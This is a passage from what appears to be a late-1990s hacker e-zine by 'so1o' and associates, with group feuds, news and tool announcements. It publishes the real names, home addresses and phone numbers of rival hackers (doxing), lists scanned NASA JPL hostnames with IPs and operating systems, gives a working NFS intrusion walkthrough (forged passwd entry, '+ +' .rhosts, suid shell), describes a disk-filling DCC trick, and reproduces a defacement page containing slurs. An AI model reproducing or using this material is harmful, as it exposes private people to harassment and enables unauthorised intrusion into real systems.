  838. technique to make all the icons dissapear!
  839.  
  840. 1) Get into Program Manager, then go File -> Run.
  841. 2) In the program name box, just put ALOT of spaces, leave your finger on the
  842.    space bar until the box is full, now delete the last 4 or 5 of your spaces
  843.    and put a full stop in, then fill the rest of the box up with spaces.
  844. 3) Now try run the "                                         .   " program by
  845.    clicking on the OK button.
  846. 4) It will give an error box with a character like "`" in it, this shows it has
  847.    worked, because usually it gives like "cannot run blah blah blah..."
  848. 5) Now click on the OK in the error box to get rid of it.
  849. 6) Now open any program group, and maximise it, all the icons will dissapear,
  850.    next minimise and maximise another group, and so on, until all the icons
  851.    have dissapeared in all the groups.
  852.  
  853. Thats it, the only way to turn your w1nd0ze system back to normal is to exit :P
  854.  
  855. ───────────────────────────────────────────────────────────────────────────────
  856.   2. sIn inf0z : so1o
  857. ───────────────────────────────────────────────────────────────────────────────
  858.  
  859.                     Fucking sIn b1tchez bow to the elite.
  860.  
  861. ───────────────────────────────────────────────────────────────────────────────
  862.  
  863.  Alias      :  Evil Chick
  864.  Real Name  :  Suzette Kimminau
  865.  Address    :  130 105th Ave. S.E. Apt. 218
  866.                Bellevue, Wa 98004
  867.                USA
  868.  
  869.  Telephone  :  (206)454-7176
  870.  E-mail     :  evilchic@NWLINK.COM
  871.  
  872. -------------------------------------------------------------------------------
  873.  
  874.  Alias      :  \\StOrM\\
  875.  Real Name  :  Jason Sloderbeck
  876.  Address    :  5739 N Norton,
  877.                Kansas City, MO 64119
  878.                USA
  879.  
  880.  Telephone  :  (816)453-8722
  881.  E-mail     :  storm@SINNERZ.COM
  882.  
  883. -------------------------------------------------------------------------------
  884.  
  885.  Alias      :  JDKane
  886.  Real Name  :  Kim
  887.  Address    :  327 E Park Road,
  888.                Round Lake, IL 60073
  889.                USA
  890.  
  891.  Telephone  :  (847)546-9154
  892.  E-mail     :  
  893.  
  894. -------------------------------------------------------------------------------
  895.  
  896.  Alias      :  Soul Tear
  897.  Real Name  :  Wesley Stroeber
  898.  Address    :  10770 E. Silver Vein Dr.
  899.                Tucson, Arizona 85710
  900.                USA
  901.  
  902.  Telephone  :
  903.  E-mail     :  soultear@mindspring.com
  904.  
  905. -------------------------------------------------------------------------------
  906.  
  907.  Alias      : Scud-O
  908.  Real Name  : Kevin Shivers
  909.  Address    : PO Box 448
  910.               Sykesville, Maryland 21784
  911.               USA
  912.  
  913.  Telephone  : (410)442-2410
  914.  E-mail     : foxmulder@WORLDNET.ATT.NET
  915.  
  916.  * Scud-O is leaving sIn.
  917. ───────────────────────────────────────────────────────────────────────────────
  918.  
  919.       You want to know how lame sIn really are? check www.sinnerz.com
  920.  
  921.              The Hax0r brothers don't 0wn a car between them.
  922.  
  923. ───────────────────────────────────────────────────────────────────────────────
  924.   3. DCC trick : so1o
  925. ───────────────────────────────────────────────────────────────────────────────
  926.  
  927. d1s in #hackers showed us this the other day, its quite simple, and probably
  928. old, all you have to do is link a file, like warez.tgz to zero, then DCC it
  929. to someone thats 1) away, or 2) very stupid, it will then keep sending them
  930. shit until they 1) stop it, or 2) have no more disk space :)
  931.  
  932. ───────────────────────────────────────────────────────────────────────────────
  933.   4. Mars systems @*.jpl.nasa.gov : so1o
  934. ───────────────────────────────────────────────────────────────────────────────
  935.  
  936. Fear mad dnscan skills, even shows OS... wE c4N dR1VE tH3 r0VER!@#~
  937.  
  938. jpl.nasa.gov    mars-elvis                     A     137.78.16.108
  939. jpl.nasa.gov    mars-elvis                     HINFO PowerMac7100-80  System7.5.3
  940. jpl.nasa.gov    mars-lanrover                  A     137.78.78.131
  941. jpl.nasa.gov    mars-lanrover                  HINFO ShivaLanRover-E  ShivaProprietary
  942. jpl.nasa.gov    mars-lanrover-1                A     137.78.78.132
  943. jpl.nasa.gov    mars-lanrover-1                HINFO ShivaLanRover-E  ShivaProprietary
  944. jpl.nasa.gov    mars-lanrover-2                A     137.78.78.133
  945. jpl.nasa.gov    mars-lanrover-2                HINFO ShivaLanRover-E  ShivaProprietary
  946. jpl.nasa.gov    mars-lanrover-3                A     137.78.78.134
  947. jpl.nasa.gov    mars-lanrover-3                HINFO ShivaLanRover-E  ShivaProprietary
  948. jpl.nasa.gov    mars-lanrover-4                A     137.78.78.135
  949. jpl.nasa.gov    mars-lanrover-4                HINFO ShivaLanRover-E  ShivaProprietary
  950. jpl.nasa.gov    mars-test-1                    A     137.78.78.191
  951. jpl.nasa.gov    mars-test-1                    HINFO PCMAC       Various
  952. jpl.nasa.gov    mars-test-2                    A     137.78.78.192
  953. jpl.nasa.gov    mars-test-2                    HINFO PCMAC       Various
  954. jpl.nasa.gov    mars-test-3                    A     137.78.78.193
  955. jpl.nasa.gov    mars-test-3                    HINFO PCMAC       Various
  956. jpl.nasa.gov    mars-test-4                    A     137.78.78.194
  957. jpl.nasa.gov    mars-test-4                    HINFO PCMAC       Various
  958. jpl.nasa.gov    mars-test-5                    A     137.78.78.195
  959. jpl.nasa.gov    mars-test-5                    HINFO PCMAC       Various
  960. jpl.nasa.gov    mars-test-6                    A     137.78.78.196
  961. jpl.nasa.gov    mars-test-6                    HINFO PCMAC       Various
  962. jpl.nasa.gov    mars-test-7                    A     137.78.78.197
  963. jpl.nasa.gov    mars-test-7                    HINFO PCMAC       Various
  964. jpl.nasa.gov    mars-test-8                    A     137.78.78.198
  965. jpl.nasa.gov    mars-test-8                    HINFO PCMAC       Various
  966. jpl.nasa.gov    mars-test-9                    A     137.78.78.199
  967. jpl.nasa.gov    mars-test-9                    HINFO PCMAC       Various
  968. jpl.nasa.gov    mars98ftp                      A     137.78.82.27
  969. jpl.nasa.gov    mars98ftp                      HINFO MacII       system7
  970. jpl.nasa.gov    marsala                        A     137.78.24.26
  971. jpl.nasa.gov    marsala                        HINFO PC          Windows95
  972. jpl.nasa.gov    marseyes                       A     137.78.54.45
  973. jpl.nasa.gov    marseyes                       HINFO PCLaptop    window95
  974. jpl.nasa.gov    marsglow                       A     137.78.144.167
  975. jpl.nasa.gov    marsglow                       HINFO HP1600CM    PCL
  976. jpl.nasa.gov    marsmir                        A     137.78.6.221
  977. jpl.nasa.gov    marsmir                        HINFO SPARC2      Solaris2.5
  978. jpl.nasa.gov    marsnight                      A     137.78.144.165
  979. jpl.nasa.gov    marsnight                      HINFO HP4M        PCL
  980. jpl.nasa.gov    marsnt1                        A     137.78.78.31
  981. jpl.nasa.gov    marsnt1                        HINFO CompaqProliant  NT4.0Server
  982. jpl.nasa.gov    marsnt2                        A     137.78.78.32
  983. jpl.nasa.gov    marsnt2                        HINFO CompaqProliant  NT4.0Server
  984. jpl.nasa.gov    marsnt3                        A     137.78.78.106
  985. jpl.nasa.gov    marsnt3                        HINFO CompaqPC    NTServer3.5.1
  986. jpl.nasa.gov    marsnt3-alias1                 A     137.78.78.107
  987. jpl.nasa.gov    marsnt3-alias1                 HINFO CompaqProliant  NTServer3.51
  988. jpl.nasa.gov    marssup-premia                 A     137.78.78.60
  989. jpl.nasa.gov    marssup-premia                 HINFO ASTPREMIALX  WIN95
  990. jpl.nasa.gov    marsweb1                       A     137.78.78.120
  991. jpl.nasa.gov    marsweb1                       HINFO SunUltra170  Solaris
  992. jpl.nasa.gov    marsweb2                       A     137.78.78.121
  993. jpl.nasa.gov    marsweb2                       HINFO ClonePC     WinNT4.0
  994. jpl.nasa.gov    marsweb3                       A     137.78.78.122
  995. jpl.nasa.gov    marsweb3                       HINFO MicronPPro200  NT4.0Server
  996.  
  997. ───────────────────────────────────────────────────────────────────────────────
  998.   5. The issues list : so1o
  999. ───────────────────────────────────────────────────────────────────────────────
  1000. -------------------------------------------------------------------------------
  1001.   1997 :
  1002. -------------------------------------------------------------------------------
  1003.  
  1004.   issue 2 : Mon 26th May
  1005.   issue 3 : Tue 15th July      
  1006.   issue 4 : Wed 3rd September
  1007.   issue 5 : Thu 23rd October
  1008.   issue 6 : Fri 12th December
  1009.  
  1010. -------------------------------------------------------------------------------
  1011.   1998 :
  1012. -------------------------------------------------------------------------------
  1013.  
  1014.   issue 7 : Sat 31st January
  1015.   issue 8 : Sun 22nd March
  1016.   issue 9 : Mon 11th May
  1017.   issue 10: Tue 30th June
  1018.   issue 11: Wed 19th August
  1019.   issue 12: Thu 8th October
  1020.   issue 13: Fri 27th November
  1021.  
  1022. -------------------------------------------------------------------------------
  1023.   1999 :
  1024. -------------------------------------------------------------------------------
  1025.  
  1026.   issue 14: Sat 16th January
  1027.   issue 15: Sun 7th March
  1028.   issue 16: Mon 26th April
  1029.   issue 17: Tue 15th June
  1030.   issue 18: Wed 4th August
  1031.   issue 19: Thu 23rd September
  1032.  
  1033.   issue 20: Sat 1st January 2000!@£!@"$@%!£"~@
  1034.  
  1035. ───────────────────────────────────────────────────────────────────────────────
  1036.   6. Damned warez pups : so1o 
  1037. ───────────────────────────────────────────────────────────────────────────────
  1038.  
  1039.  (I didn't touch anything on this document, this is how I got it - so1o)
  1040.  
  1041. ---
  1042.  
  1043.  U call us kriminals.  We distribute copyrighted software... and u call us
  1044. criminals.  We steal games from radio shack... and u call us criminals.
  1045. We
  1046.  exist without skin color, (cuz we're always inside downloading and
  1047. uploading) without religious bias, (cuz we have know idea that the hell 
  1048. religios bias is) without intelligence... and u kall us criminals.  U
  1049. start wars and stuff, yet we're the kriminals.
  1050. Yes, I am a criminal.  My crime is that of stupidity.  My crime is that of
  1051. judging people by how much they upload and how k-rad they're typing
  1052.  is, not what they look like or if they can spell they're name right the
  1053. first time
  1054.  without messing up.  My crime is that of stealing u're work and putting
  1055. my name On it, and u  get all huffy puffy about it.
  1056. I am a kourier, and this is my manifesto.  U may stop one moron, but U
  1057. can't stop us all!  After all, we're all alike.
  1058.  
  1059. ───────────────────────────────────────────────────────────────────────────────
  1060.   7. Simple NFS technique : Synner
  1061. ───────────────────────────────────────────────────────────────────────────────
  1062.  
  1063. -:Introduction:-
  1064.  
  1065. The Network File System as it is commonly called NFS ,allows you to share
  1066. filesystems among hosts.NFS was firstly introduced by Sun Microsystems back
  1067. in 1985.The good thing about NFS is that when a server crashes ,no data is
  1068. lost, simply the clients wait untill it brings itself back to normal and
  1069. then continue as if nothing had happened.
  1070.  
  1071. -:Exporting filesystems:-
  1072.  
  1073. A server is said to 'export' filesystems when it makes filesystems avaiable
  1074. for use by other machines.An NFS client must always mount a filesystem
  1075. before using it.Then the server examines the mount request and authenticates
  1076. the client before allowing access.
  1077.  
  1078. -:The Mount Daemon:-
  1079.  
  1080. Mount requests are handled by the mountd.Mountd reads /etc/exports so it can
  1081. get information about what filesystems should be exported and how to
  1082. outsiders.The export file consists of directories in the left
  1083. column,followed by a series of attributes and options stating how the
  1084. filesystem can be exported.
  1085. For example ,/etc/exports:
  1086.  
  1087. /disk2/data2    -access:foovax:godzilla,root=godzilla
  1088. /disk1/data1    -access:acid25:stonefree:ganja
  1089.  
  1090. permits /disk2/data2 to be mounted by foovax and godzilla whilst giving
  1091. godzilla root privilidge in this filesystem when mounted.
  1092. In addition /disk1/data1 can be mounted by acid25,stonefree and ganja.
  1093.  
  1094. Attribute       Description
  1095. ----------------------------------------------------------------------------
  1096. -access:list    Lists hosts that can mount the filesystem.
  1097. -ro             Export read-only;no clients may write on the filesystem.
  1098. -rw:list        Export read-only mostly;list describes the hosts allowed
  1099.         to write on the mounted filesystem.All other must read-only
  1100. -root:list      Lists hosts permitted to access the filesystem as root
  1101.         without this option a client has equilevant access as 
  1102.         nobody. (usually UID -2).
  1103. -anon:n         Specifies UID that should be used for requests coming
  1104.         from an uknown user.Defaults to nobody.
  1105. ----------------------------------------------------------------------------
  1106.  
  1107.  
  1108. -:Mounting Remote Filesystems:-
  1109.  
  1110. On machines that support NFS the mount command has been modified to
  1111. understand the hostname:directory notation
  1112.  
  1113. For example if a user can mount /CDROM from foobar he must give:
  1114.  
  1115. % mount 666.666.666.666:/CDROM /mnt
  1116. % cd /mnt
  1117.  
  1118. Then he would mount the /CDROM directory from jerky to his machine /mnt
  1119. directory.When finished he would do 'umount /mnt' to unmount it.
  1120. When invoked with no parameters ,mount will show which filesystems
  1121. are mounted in the machine along with their type etc.
  1122. The mount command allows one to create temporarly network mounts,but
  1123. mounts that are part of the permanent configuration must be stated in
  1124. /etc/fstab thus automatically mounted in boot time.
  1125.  
  1126.  
  1127. -:Showmount:-
  1128.  
  1129. Showmount querries the mount daemon of the remote host to obtain the 
  1130. server's NFS state.Invoked with no parameters ,showmount lists the clients
  1131. that are mounting from that host.
  1132. Common options:
  1133.  
  1134. -a or -all          List both client hostname and mounted directory in 
  1135.             host:dir format.
  1136. -d or -directories  List only the directories mounted by some client
  1137.  
  1138. -e or -exports      List the NFS server export list.
  1139.  
  1140. see also showmount(1).
  1141.  
  1142. -:NFS exploitation:-
  1143.  
  1144. This last section will cover some simple mechanisms that can exploit
  1145. NFS when its not configured properly.Dont expect black magic here.
  1146.  
  1147.  
  1148. % showmount -e target.com
  1149. Export list for target.com:
  1150.  
  1151. /CDROM          (everyone)
  1152. /home           (everyone)
  1153. /usr            sex,drugs,jesuz-krist
  1154.  
  1155. %
  1156.  
  1157. We see here that target.com allows the /CDROM & /home filesystems exported
  1158. to the world!.Now we will attempt to mount /home and place an .rhosts entry
  1159. to a user (/CDROM is no good :) ).
  1160.  
  1161. # mount 123.123.123.123:/home /mnt
  1162. # cd /mnt
  1163. # ls -l
  1164. 1 drwxr-xr-x 11 root   daemon   512 Jun 12 09:47 .
  1165. 1 drwxr-xr-x  7 root   wheel    512 Jun 12 11:32 ..
  1166. 1 drwxr-xr-x  9 6667   daemon  1024 Jun 12 23:12 guest
  1167. 1 drwxr-xr-x  5 203     10     1024 Jun 12 09:12 foosucker
  1168. # echo "guest:*:6667:1:disposable hero:/tmp:/bin/sh" >>/etc/passwd
  1169. # su guest
  1170. $ echo "+ +" >~guest/.rhosts
  1171. $ cd;umount /mnt
  1172. $ rlogin target.com -l guest
  1173.     Welcome to Target Inc. !
  1174. target%
  1175.  
  1176. Lets review this step-by-step.At first we discover that home directories
  1177. at target.com are exported to the world.Then we proceed in mounting them
  1178. at the /mnt directory.Then we access the directory and see that a guest
  1179. user exists.We write down his uid/gid and create a temporarly user at
  1180. our own passwd file.We then su to guest and create an .rhosts entry
  1181. allowing us to rlogin freely to Target!.
  1182.  
  1183. Considering that target.com has '/home' exported to everyone and since
  1184. root cannot modify files on a NFS filesystem,its only a matter of creating
  1185. a 'bin' owned suid shell in guest's home directory allowing us bin access.
  1186.  
  1187. # mount 123.123.123.123:/home /mnt
  1188. # cd /mnt/guest
  1189. # su guest
  1190. $ chmod 777 .
  1191. $ exit
  1192. # su bin
  1193. $ rcp /bin/sh ./binsh
  1194. $ chmod 4755 ./binsh
  1195. $ exit
  1196. # rlogin 123.123.123.123 -l guest
  1197.     Welcome to Target Inc.!
  1198. target% ./binsh
  1199. $ whoami
  1200. bin
  1201.  
  1202. Although there are many more issues regarding NFS ,as Sun's AMD and
  1203. automount (these are enhanced versions of 'mount') or more sophisticated
  1204. ways of NFS exploitation (thru the portmapper or nfsd bugs in SunOS),this
  1205. paper quickly covered the basics.Hope you enjoyed as much as I did!.
  1206.  
  1207.  
  1208. -:Suggested Reading:-
  1209.  
  1210. UNIX System Administration Handbook
  1211.  
  1212. Managing NFS/NIS  
  1213. O'Reilly Publications
  1214.  
  1215. RFC1094
  1216.  
  1217. Relevant manpages.                                                              
  1218.  
  1219. ───────────────────────────────────────────────────────────────────────────────
  1220.   8. #hebrew : so1o
  1221. ───────────────────────────────────────────────────────────────────────────────
  1222.  
  1223. Any hebrews that can translate this for me will get a prize...
  1224.  
  1225. [migada] ΣΘ Σε≈σ°Σ?
  1226. [migada] ±∞ΘτΣ
  1227. [migada] εΣ ≈σ°Σ?
  1228. *[msg] ±∞ΘτΣ
  1229. [migada] εαΘ⌠Σ α·Σ?
  1230. [migada] ß∩ δεΣ?
  1231. [migada] αφ µα· ß· αµ ±∞ΘτΣ
  1232. *[msg] ±∞ΘτΣ
  1233. [migada] ß· ασ ß∩?
  1234. [migada] εαΘ⌠Σ α· ασ α·Σ??
  1235. [migada] ß∩ ασ ß· δεΣ α· ασ α·Σ?
  1236. *[msg] ß∩ ασ ß· δεΣ?
  1237. *[msg] ß· ασ ß∩?
  1238. [migada] σα· ασ α·Σ?
  1239. [migada] εΣ α·Σ °σ÷Σ
  1240. [migada] ?
  1241. *[msg] ±∞ΘτΣ
  1242. *[msg] σα· ασ α·Σ?
  1243. *[msg] ??
  1244. [migada] α·
  1245. [migada] ≥δ∙Θσ
  1246. [migada] α· ασ α·Σ?
  1247. [migada] εαΘ⌠Σ?
  1248. [migada] ΓΘ∞?
  1249. *[msg] ≥δ∙Θσ
  1250. *[msg] εαΘ⌠Σ?
  1251. [migada] α≡Θ εΣΓ∞Θ∞ Σ≥∞Θσ∩
  1252. [migada] ≥δ∙Θσ α·Σ?
  1253. [migada] εαΘ⌠Σ α·Σ?
  1254. [migada] ß∩ δεΣ α·Σ?
  1255. *[msg] ≥δ∙Θσ
  1256. [migada] ασ α·?
  1257. [migada] ·ΓΘπ α·Σ Θσπ≥ ∞δ·σß ≥σπ ε∙Σσ τσ⌡ ε≥δ∙Θσ ασ ±∞ΘτΣ
  1258. [migada] ?
  1259. *[msg] ≥δ∙Θσ α·Σ?
  1260. *[msg] ??
  1261. [migada] α·
  1262. [migada] α≡Θ ß·
  1263. [migada] !!!!!!!!!!!!!!!!!!!!!
  1264. *[msg] ?
  1265. [migada] σα≡Θ εασπ ΓαΣ ßµΣ
  1266. *[msg] ασ α·?
  1267. [migada] ß∩ δεΣ α·Σ ?
  1268. [migada] εαΘ⌠Σ α·Σ?
  1269. *[msg] εαΘ⌠Σ α·Σ?
  1270. [migada] α≡Θ εΣΓ∞Θ∞ Σ≥∞Θσ∩
  1271. [migada] σα·Σ?
  1272. *[msg] ß∩ δεΣ α·Σ?
  1273. *[msg] ??
  1274. [migada] αφ α≡Θ αΓΘπ Γφ α·Σ ·ΓΘπ?
  1275. *[msg] α≡Θ εΣΓ∞Θ∞ Σ≥∞Θσ∩
  1276. [migada] εαΘ⌠Σ ßπΘσ≈?
  1277. *[msg] α≡Θ εΣΓ∞Θ∞ Σ≥∞Θσ∩
  1278. *[msg] ?
  1279. [migada] εαΘ⌠Σ ßπΘσ≈?
  1280. [migada] ετσ∞·Σ?
  1281. [migada] ε≈÷°Θ∩.
  1282. [migada] ?
  1283. [migada] εαΘ⌠Σ?
  1284. *[msg] αΘ⌠σ ßΓ∞Θ∞
  1285. *[msg] σα≡Θ εΣΓ∞Θ∞ ≡ΘΘ° Φσα∞Φ
  1286. [migada] α·Σ Γεσ°
  1287. [migada] ßΘΘ
  1288. *[msg] εαΘ⌠Σ ßπΘσ≈?
  1289. [migada] πΘΘ
  1290. [migada] α·Σ ≡∙ε≥
  1291. [migada] σα·Σ Γφ δσ·ß
  1292. *[msg] [msg] εαΘ⌠Σ ßπΘσ≈?
  1293. *[msg] [migada] πΘΘ
  1294. *[msg] [migada] α·Σ ≡∙ε≥
  1295. *[msg] ??
  1296. [migada] δεσ ∙Θδσ° ∙∞α Θσπ≥ εΣτΘΘφ ∙∞σ
  1297. *[msg] πΘΘ
  1298. [migada] ασ ∙··τΘ∞ ∞δ·σß ß°÷Θ≡σ· ασ ∙Γε°≡σ ∞πß°
  1299. [migada] εΣ α·Σ ετ∞ΘΦ?
  1300. *[msg] α·Σ ≡∙ε≥
  1301. *[msg] ??
  1302. [migada] ßΘΘ
  1303. *[msg] δεσ ∙Θδσ° ∙∞α Θσπ≥ εΣτΘΘφ ∙∞σ
  1304. [migada] ßΘΘ
  1305. *[msg] πΘΘ
  1306. *[msg] do you speak english?
  1307. [migada] yes
  1308.  
  1309. ───────────────────────────────────────────────────────────────────────────────
  1310.   9. Lord Somer : so1o
  1311. ───────────────────────────────────────────────────────────────────────────────
  1312.  
  1313. Lord Somer is now on the top of our list, due to the following reasons...
  1314.  
  1315.  1) He thinks he has skills
  1316.  2) He does w4r3z
  1317.  
  1318. He will get 0wned, just like all the others (sIn, ELH etc. etc.)
  1319.  
  1320. On his elite internic whois, he has...
  1321.  
  1322.    Somer, Robert
  1323.  
  1324.    The Hacker's Layer
  1325.    Cincinnati, OH 45238
  1326.    815 334-9547              (815 isn't Cincinnati, it's Woodstock)
  1327.                              (that fone # is the fax machine for the
  1328.                               nethosting company he uses)
  1329.  
  1330. So, we used a process of simple deduction, and here is (we hope), Lord Somer's
  1331. d0x...
  1332.                                
  1333. Thomas J Somers
  1334.  
  1335. 5737 Walkerton Dr,
  1336. Cincinnati, OH 45238-1842
  1337.  
  1338. (513) 451-4239
  1339.  
  1340.  
  1341. w3 4r3 c0m1n f0r j00 w4r3z k1dd13, ph34r.
  1342.  
  1343. ───────────────────────────────────────────────────────────────────────────────
  1344. ===============================================================================
  1345. ==[ NEWS ]=====================[ .SECTION E. ]=======================[ NEWS ]==
  1346. ===============================================================================
  1347. ───────────────────────────────────────────────────────────────────────────────
  1348.   1. c0de : so1o
  1349. ───────────────────────────────────────────────────────────────────────────────
  1350.  
  1351. New people hit the scene, c0de, #c0de on EFnet, check out www.hacked.net
  1352. to see what they've hit, all iRC targets so far (but we beat them to
  1353. www.cyber-dragon.org), lamefuck VB k0der \\StOrM\\ of sIn is in their
  1354. little group, so I really wouldn't rate them very highly at all.
  1355.  
  1356. ───────────────────────────────────────────────────────────────────────────────
  1357.   2. Beyond HOPE : Some dude @wired.com
  1358. ───────────────────────────────────────────────────────────────────────────────
  1359.  
  1360. With security personnel up from the CIA hometown in Langley, Virginia,
  1361. mixing with hackers up from basements across the country, the
  1362. techno-bacchanal Beyond HOPE highlighted the further evolution of computer
  1363. jocks into the mainstream - and into money. Now that security concerns and
  1364. hacking have yielded a booming industry ("tiger teams" of contractual
  1365. crackers), it should come as no surprise that this rowdy, packet-sniffing
  1366. bunch has learned to capitalize on its true talent: working the network. 
  1367.  
  1368. "Five years ago, they were a fringe, the Net was this obscure thing used
  1369. to hack phone tech manuals," says security and cryptography expert Bruce
  1370. Schneier, who spoke at this weekend's conference, held in New York and
  1371. sponsored by the hacking mag 2600. "Now there are companies whose life
  1372. blood is the Net, like Yahoo, Amazon.... And hackers are being 'outed,'
  1373. getting hired for penetration testing or starting companies." 
  1374.  
  1375. The three-day conference, keynoted by MSNBC commentator Brock Meeks,
  1376. proved that hacking is not a lifestyle choice, but a community with its
  1377. own rock stars (L0PHT), renegades (Metro-card hacking Red Balaklava),
  1378. martyrs (Bernie S., Phiber Optik), and even patron saints (Cheshire
  1379. Catalyst, Captain Crunch). 
  1380.  
  1381. While Steve Rambam walked the audience through the method for acquiring
  1382. a fake Social Security card, the media-savvy Mudge, wearing a
  1383. "Microshit" T-shirt, filled the group in on Theo de Raadt's OpenBSD, a
  1384. hacker-written operating system. With an exploit script, an easy-to-use
  1385. interface, and good name, "it will get press," said L0PHT member Mudge.
  1386. "Microsoft hates that, and that's why we love it." 
  1387.  
  1388. But the real attraction was the bank of Unix terminals prepped for public
  1389. consumption - and corruption. And while the hacker movement is gaining
  1390. force, it's also gaining speed. This year, the conference boasted an
  1391. operational 10 Mbps local network, compared to the crawling 28.8 Kbps
  1392. they had in 1994. "If you have a machine on the network, expect to be
  1393. hacked," said 2600 founder and conference organizer Emmanuel Goldstein,
  1394. "because that's what we're here for."
  1395.  
  1396. The 1,000-person strong Beyond HOPE is among a growing number of hacker
  1397. conferences, including Black Hat and DEFCON, both held in July in Las
  1398. Vegas. The happy-camper HIP conference was held, perhaps unwisely,
  1399. simultaneously. HOPE attendee CyberJunkie hacked the HIP conference
  1400. homepage and riddled it with HOPE icons. 
  1401.  
  1402. Though there's clearly a greater handshaking between law enforcement and
  1403. the hacker community, Bernie S. knows well that the amity has a ways to go.
  1404. The co-organizer of the 2600 meeting, the boyish Bernie was sent to prison
  1405. in May 1995 by the Secret Service for publishing a list of the service's
  1406. communications frequencies, code names, and photos of agents in action
  1407. (and picking their noses). The case against him began to verge on the
  1408. absurd when agents confused the dental putty in his garage with plastic
  1409. explosive. As the cause celebre of the culture, Bernie S. typifies the
  1410. resiliency of the group. "If you try to squelch info, it won't get
  1411. better," he said. "It'll mushroom."
  1412.  
  1413. Though most hackers subsist off freeware, the conference offered multiple
  1414. opportunities for conspicuous consumption. "Major Hacking" cookies were on
  1415. sale at the "Buy Our Shit" concession stand. A letter-bomb detector went for
  1416. US$40 (used), and another table offered "I Love Your Computer" bumper
  1417. stickers and "Co-Ed Naked Hacking" T-shirts ("Finger Me for More Info").
  1418. For the more serious consumer, Nadir sold hot hard drives and CD-ROM drives
  1419. for $50 a pop. Will he guarantee it works? "I'll guarantee I brought it
  1420. here," he answers. He's a student, and it's the first time he's tried
  1421. selling hijacked equipment, he says. "I just want to make people happy."
  1422.  
  1423. Ritalin junkies may have dominated by far, but the elder statesmen of the
  1424. movement were there in force. Phone phreak Cheshire Catalyst, the founder
  1425. of 2600 precursor TAP (Technical Assistance Program), started his newsletter
  1426. in 1971 for "pay-phone justice" - basically a primer on how to make phone
  1427. calls on a penny. Captain Crunch, a more grizzled veteran who served time,
  1428. reminisced about the time he prank-called Nixon in the White House.
  1429. ("Sir, we have a crisis," he recalls saying. "What is the nature of the
  1430. crisis?" Nixon asked. "Sir, we're out of toilet paper," Crunch answered,
  1431. and hung up).
  1432.  
  1433. But for those on the outside, the line between allegiance and antagonism
  1434. isn't always clear. MSNBC commentator Brock Meeks called for hackers to
  1435. "pump up the volume," and bemoaned the loss of elegant hacks like the
  1436. hole-sniffing Satan or Hacker X's coup stripping the CyberPromotions
  1437. server and posting it all over news groups. 
  1438.  
  1439. "Twenty percent of government computers have been subject to hacking
  1440. attempts - that's a pretty low percentage." he said. "Get off your asses
  1441. and make that go up." 
  1442.  
  1443. Later, a black-clad attendee who requested anonymity scoffed at Meeks'
  1444. coaching. "It's so self-serving," he said. "He just wants to write about it." 
  1445.  
  1446. ───────────────────────────────────────────────────────────────────────────────
  1447.   3. www.sinnerz.com gets 0wned : so1o
  1448. ───────────────────────────────────────────────────────────────────────────────
  1449.  
  1450. ..this is what their new page looked like :
  1451.  
  1452.  
  1453.                          [FUCK1N 0WN3D SIN B1TCHEZ]
  1454.  
  1455.               sIn 4r3 n0w m3mb3rs 0f th3 c0d3z3r0 ph34r n4t10n.
  1456.  
  1457. ------------------------------------------------------------------------------
  1458.  
  1459.                 b0w the fuck d0wn j00 fuck1n' vB k0d3r punks.
  1460.  
  1461.      Team CodeZero, we got them madskills in effect, this time proving
  1462.   0wnersh1p over lamefuck vB k0derz, they deserve all this shit more than
  1463.   anyone, they think they're so fucking cool with their vB k0dez and their
  1464.                           k-r4d .txt ph1lez!@#~
  1465.  
  1466. ------------------------------------------------------------------------------
  1467.  
  1468.                pHEAR dEM mADsKILLZ yOU fUCKING oWNED nIGGORS.
  1469.  
  1470.          wE bE dE oRIGINAL 4 mAN dREAM tEAM, wE rULE yOUR wEAK wORLD.
  1471.  
  1472.                             +-------------------+
  1473.                             ▌                   ▌
  1474.                             ▌                   ▌
  1475.                             ▌    retard.jpg     ▌
  1476.                             ▌                   ▌
  1477.                             ▌                   ▌
  1478.                             ▌                   ▌
  1479.                             ▌                   ▌
  1480.                             +-------------------+
  1481.  
  1482.                            so1o, xFli, helix, modeX
  1483.  
  1484. ------------------------------------------------------------------------------
  1485.  
  1486.                         Team CodeZero, wh0 laughs last?
  1487.   
  1488.  
  1489. ───────────────────────────────────────────────────────────────────────────────
  1490. ===============================================================================
  1491. ==[ PROJECTS ]=================[ .SECTION F. ]===================[ PROJECTS ]==
  1492. ===============================================================================
  1493. ───────────────────────────────────────────────────────────────────────────────
  1494.   1. soltool for Solaris 2.5.x [sunOS 5.5.x] is here!@~ : so1o
  1495. ───────────────────────────────────────────────────────────────────────────────
  1496. =============================================================================
  1497.   The Solaris Security Tool Readme File :
  1498. =============================================================================
  1499.  
  1500. ::: This tool is for use with Solaris 2.5.x [sunOS 5.5.x].
  1501. ::: It needs /bin/bash on the target system to run.
  1502.  
  1503. To get soltool to work, do the following...
  1504.  
  1505. 1) FTP it to your target system (the soltool.gz)
  1506. 2) telnet in, and type...
  1507.  
  1508. % gunzip soltool.gz
  1509. % /bin/bash
  1510. $ chmod 755 soltool
  1511. $ soltool
  1512.  
  1513. ... then it will run, and give you usages and stuff
  1514. ... if it gives "Command not found" then try this as step 2...
  1515.     otherwise bash hasn't been installed.
  1516.  
  1517. % /usr/local/bash
  1518.  
  1519. Enjoy,
  1520.  
  1521. ───────────────────────────────────────────────────────────────────────────────
  1522.   2. TOTAL CON : so1o
  1523. ───────────────────────────────────────────────────────────────────────────────
  1524.  
  1525. ******************************************************************************
  1526.                          http://www.aom.co.uk/total/
  1527. ******************************************************************************
  1528.   +------------------------------------+------------------------------------+
  1529.   ▌ An Official Total Con Announcement ▌ An Official Total Con Announcement ▌
  1530.   ▌ An Official Total Con Announcement ▌ An Official Total Con Announcement ▌
  1531.   +------------------------------------+------------------------------------+
  1532. ******************************************************************************
  1533.                          http://www.aom.co.uk/total/
  1534. ******************************************************************************
  1535.  
  1536.  Total Con '98 is now a reality, here are preliminary details...
  1537.  ===============================================================
  1538.  
  1539.  Venue        :  The Old Firestation, Silver Street, Brisol, ENGLAND
  1540.  Date         :  Late March 1998
  1541.  Duration     :  1 night (12:00pm -> 12:00pm next day)
  1542.  
  1543.  What         :  12 system network with internet access
  1544.                  Loud music
  1545.                  Fully licensed bar downstairs
  1546.                  Elite UV and spotlights
  1547.                  Channel 4 media coverage  (hopefully)
  1548.  
  1549.                  ALOT of cool people
  1550.                  ^^^^^^^^^^^^^^^^^^^
  1551.                  *** NO SPEAKERS WHATSOEVER ***
  1552.  
  1553.  
  1554.  Travel        : Easily accessible by car, train, bus or plane.
  1555.  Accomodation  : You can crash out in the Firestation (its HUGE) or book one
